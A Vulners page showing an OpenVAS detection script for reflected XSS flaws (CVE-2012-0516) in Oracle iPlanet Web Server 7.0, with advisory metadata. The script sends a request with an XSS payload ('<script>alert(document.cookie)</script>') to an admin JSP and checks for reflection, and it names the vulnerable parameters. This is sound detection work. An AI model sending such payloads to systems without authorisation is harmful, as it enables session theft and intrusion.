Lucene search
+L

Oracle iPlanet Web Server Multiple XSS Vulnerabilities (cpuapr2012)

🗓️ 29 Jun 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 33 Views

Oracle iPlanet Web Server Multiple XSS Vulnerabilities (cpuapr2012). Multiple cross-site scripting (XSS) vulnerabilities in Oracle iPlanet Web Server 7.0 allow remote attackers to insert arbitrary HTML and script code, executed in a user's browser session

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2012-0516
3 May 201217:18
cve
Cvelist
CVE-2012-0516
3 May 201217:18
cvelist
EUVD
EUVD-2012-0548
7 Oct 202500:30
euvd
NVD
CVE-2012-0516
3 May 201217:55
nvd
Oracle
Oracle Critical Patch Update - April 2012
19 Jul 201200:00
oracle
Oracle
Oracle Critical Patch Update - April 2012
19 Jul 201200:00
oracle
Prion
Design/Logic Flaw
3 May 201217:55
prion
Prion
Design/Logic Flaw
10 May 202023:15
prion
RedhatCVE
CVE-2020-9314
22 May 202517:35
redhatcve
securityvulns
Oracle / Sun / People Soft / MySQL applications multiple security vulnerabilities
2 Dec 201200:00
securityvulns
Rows per page
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oracle:iplanet_web_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902844");
  script_version("2025-03-05T05:38:53+0000");
  script_cve_id("CVE-2012-0516");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-06-29 16:16:16 +0530 (Fri, 29 Jun 2012)");
  script_name("Oracle iPlanet Web Server Multiple XSS Vulnerabilities (cpuapr2012)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_sun_oracle_web_server_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("oracle/iplanet_web_server/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/43942");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53133");
  script_xref(name:"URL", value:"http://chingshiong.blogspot.in/2012/04/oracle-iplanet-web-server-709-multiple.html");
  script_xref(name:"URL", value:"https://www.oracle.com/security-alerts/cpuapr2012.html#AppendixSUNS");

  script_tag(name:"summary", value:"Oracle iPlanet Web Server is prone to multiple cross-site
  scripting (XSS) vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
  arbitrary HTML and script code, which will be executed in a user's browser session in the context
  of an affected site.");

  script_tag(name:"affected", value:"Oracle iPlanet Web Server 7.0.");

  script_tag(name:"insight", value:"The following flaws exist:

  - Input passed via the 'helpLogoWidth' and 'helpLogoHeight' parameters to
  admingui/cchelp2/Masthead.jsp (when 'mastheadTitle' is set) and the 'productNameSrc',
  'productNameHeight', and 'productNameWidth' parameters to admingui/version/Masthead.jsp is not
  properly sanitised before being returned to the user.

  - Input passed via the 'appName' and 'pathPrefix' parameters to admingui/cchelp2/Navigator.jsp is
  not properly sanitised before being returned to the user.");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
  more information.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/admingui/version/Masthead.jsp?productNameSrc='%22--></style></script><script>alert(document.cookie)</script>&versionFile=../version/copyright?__token__=&productNameHeight=42&productNameWidth=221";

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);

if(res && res =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie)</script>" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2025 00:00Current
5.1Medium risk
Vulners AI Score5.1
CVSS 26.8
EPSS0.02912
33